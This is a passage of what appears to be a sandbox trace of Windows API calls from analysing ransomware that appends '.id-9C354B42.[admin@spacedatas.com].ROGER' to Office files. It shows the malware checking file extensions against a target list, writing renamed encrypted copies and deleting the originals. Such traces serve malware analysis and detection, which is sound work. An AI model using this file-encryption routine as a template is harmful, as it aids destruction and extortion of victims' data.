hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.778] SetEndOfFile (hFile=0x370) returned 1 [0044.779] CloseHandle (hObject=0x370) returned 1 [0044.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.779] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0044.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.779] lstrlenW (lpString=".doc") returned 4 [0044.779] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0044.779] lstrlenW (lpString=".docx") returned 5 [0044.779] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0044.779] lstrlenW (lpString=".pdf") returned 4 [0044.779] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0044.779] lstrlenW (lpString=".xls") returned 4 [0044.779] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0044.779] lstrlenW (lpString=".xlsx") returned 5 [0044.780] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0044.780] lstrlenW (lpString=".ppt") returned 4 [0044.780] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.780] lstrlenW (lpString=".zip") returned 4 [0044.780] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString=".rar") returned 4 [0044.780] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString=".bz2") returned 4 [0044.780] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0044.780] lstrlenW (lpString=".7z") returned 3 [0044.780] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0044.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.780] lstrlenW (lpString=".dbf") returned 4 [0044.780] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.780] lstrlenW (lpString=".1cd") returned 4 [0044.780] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0044.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.780] lstrlenW (lpString=".jpg") returned 4 [0044.780] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.780] lstrlenW (lpString=".doc") returned 4 [0044.780] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString=".docx") returned 5 [0044.780] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0044.780] lstrlenW (lpString=".pdf") returned 4 [0044.780] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0044.780] lstrlenW (lpString=".xls") returned 4 [0044.781] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0044.781] lstrlenW (lpString=".xlsx") returned 5 [0044.781] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0044.781] lstrlenW (lpString=".ppt") returned 4 [0044.781] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0044.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.781] lstrlenW (lpString=".zip") returned 4 [0044.781] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0044.781] lstrlenW (lpString=".rar") returned 4 [0044.781] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0044.781] lstrlenW (lpString=".bz2") returned 4 [0044.781] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0044.781] lstrlenW (lpString=".7z") returned 3 [0044.781] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0044.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.781] lstrlenW (lpString=".dbf") returned 4 [0044.781] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0044.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.781] lstrlenW (lpString=".1cd") returned 4 [0044.781] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0044.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0044.781] lstrlenW (lpString=".jpg") returned 4 [0044.781] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0044.781] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.781] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0044.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.782] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1450) returned 1 [0044.782] CloseHandle (hObject=0x370) returned 1 [0044.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0044.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.782] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.782] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.814] GetLastError () returned 0x0 [0044.814] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x5aa, lpOverlapped=0x0) returned 1 [0044.815] WriteFile (in: hFile=0x38c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0044.816] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.816] WriteFile (in: hFile=0x38c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0044.816] SetEndOfFile (hFile=0x38c) returned 1 [0044.816] CloseHandle (hObject=0x38c) returned 1 [0044.817] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.817] SetEndOfFile (hFile=0x370) returned 1 [0044.817] CloseHandle (hObject=0x370) returned 1 [0044.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.818] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0044.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.818] lstrlenW (lpString=".doc") returned 4 [0044.818] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.818] lstrlenW (lpString=".docx") returned 5 [0044.818] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.818] lstrlenW (lpString=".pdf") returned 4 [0044.818] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.818] lstrlenW (lpString=".xls") returned 4 [0044.818] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.818] lstrlenW (lpString=".xlsx") returned 5 [0044.818] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.818] lstrlenW (lpString=".ppt") returned 4 [0044.818] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.818] lstrlenW (lpString=".zip") returned 4 [0044.818] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.818] lstrlenW (lpString=".rar") returned 4 [0044.818] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.818] lstrlenW (lpString=".bz2") returned 4 [0044.818] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.818] lstrlenW (lpString=".7z") returned 3 [0044.818] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.818] lstrlenW (lpString=".dbf") returned 4 [0044.818] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.819] lstrlenW (lpString=".1cd") returned 4 [0044.819] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.819] lstrlenW (lpString=".jpg") returned 4 [0044.819] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.819] lstrlenW (lpString=".doc") returned 4 [0044.819] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString=".docx") returned 5 [0044.819] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.819] lstrlenW (lpString=".pdf") returned 4 [0044.819] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString=".xls") returned 4 [0044.819] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString=".xlsx") returned 5 [0044.819] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.819] lstrlenW (lpString=".ppt") returned 4 [0044.819] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.819] lstrlenW (lpString=".zip") returned 4 [0044.819] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.819] lstrlenW (lpString=".rar") returned 4 [0044.819] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString=".bz2") returned 4 [0044.819] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString=".7z") returned 3 [0044.819] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.819] lstrlenW (lpString=".dbf") returned 4 [0044.819] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.820] lstrlenW (lpString=".1cd") returned 4 [0044.820] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0044.820] lstrlenW (lpString=".jpg") returned 4 [0044.820] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.820] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.820] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0044.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.824] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=6421) returned 1 [0044.824] CloseHandle (hObject=0x38c) returned 1 [0044.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0044.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.824] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.824] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.824] GetLastError () returned 0x0 [0044.824] ReadFile (in: hFile=0x38c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1915, lpOverlapped=0x0) returned 1 [0044.826] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1920, lpOverlapped=0x0) returned 1 [0044.827] ReadFile (in: hFile=0x38c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.827] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0044.827] SetEndOfFile (hFile=0x3a0) returned 1 [0044.827] CloseHandle (hObject=0x3a0) returned 1 [0044.827] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.827] SetEndOfFile (hFile=0x38c) returned 1 [0044.828] CloseHandle (hObject=0x38c) returned 1 [0044.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0044.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.828] lstrlenW (lpString=".doc") returned 4 [0044.829] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString=".docx") returned 5 [0044.829] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.829] lstrlenW (lpString=".pdf") returned 4 [0044.829] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString=".xls") returned 4 [0044.829] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString=".xlsx") returned 5 [0044.829] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.829] lstrlenW (lpString=".ppt") returned 4 [0044.829] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.829] lstrlenW (lpString=".zip") returned 4 [0044.829] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.829] lstrlenW (lpString=".rar") returned 4 [0044.829] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString=".bz2") returned 4 [0044.829] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString=".7z") returned 3 [0044.829] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.829] lstrlenW (lpString=".dbf") returned 4 [0044.829] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.829] lstrlenW (lpString=".1cd") returned 4 [0044.829] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.829] lstrlenW (lpString=".jpg") returned 4 [0044.829] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.830] lstrlenW (lpString=".doc") returned 4 [0044.830] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString=".docx") returned 5 [0044.830] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.830] lstrlenW (lpString=".pdf") returned 4 [0044.830] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString=".xls") returned 4 [0044.830] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString=".xlsx") returned 5 [0044.830] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.830] lstrlenW (lpString=".ppt") returned 4 [0044.830] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.830] lstrlenW (lpString=".zip") returned 4 [0044.830] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.830] lstrlenW (lpString=".rar") returned 4 [0044.830] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString=".bz2") returned 4 [0044.830] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString=".7z") returned 3 [0044.830] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.830] lstrlenW (lpString=".dbf") returned 4 [0044.830] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.830] lstrlenW (lpString=".1cd") returned 4 [0044.830] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.830] lstrlenW (lpString=".jpg") returned 4 [0044.830] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.831] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.831] lstrlenW (lpString="SETUP.XML") returned 9 [0044.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.831] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=16683) returned 1 [0044.831] CloseHandle (hObject=0x38c) returned 1 [0044.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0044.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.832] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.832] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft 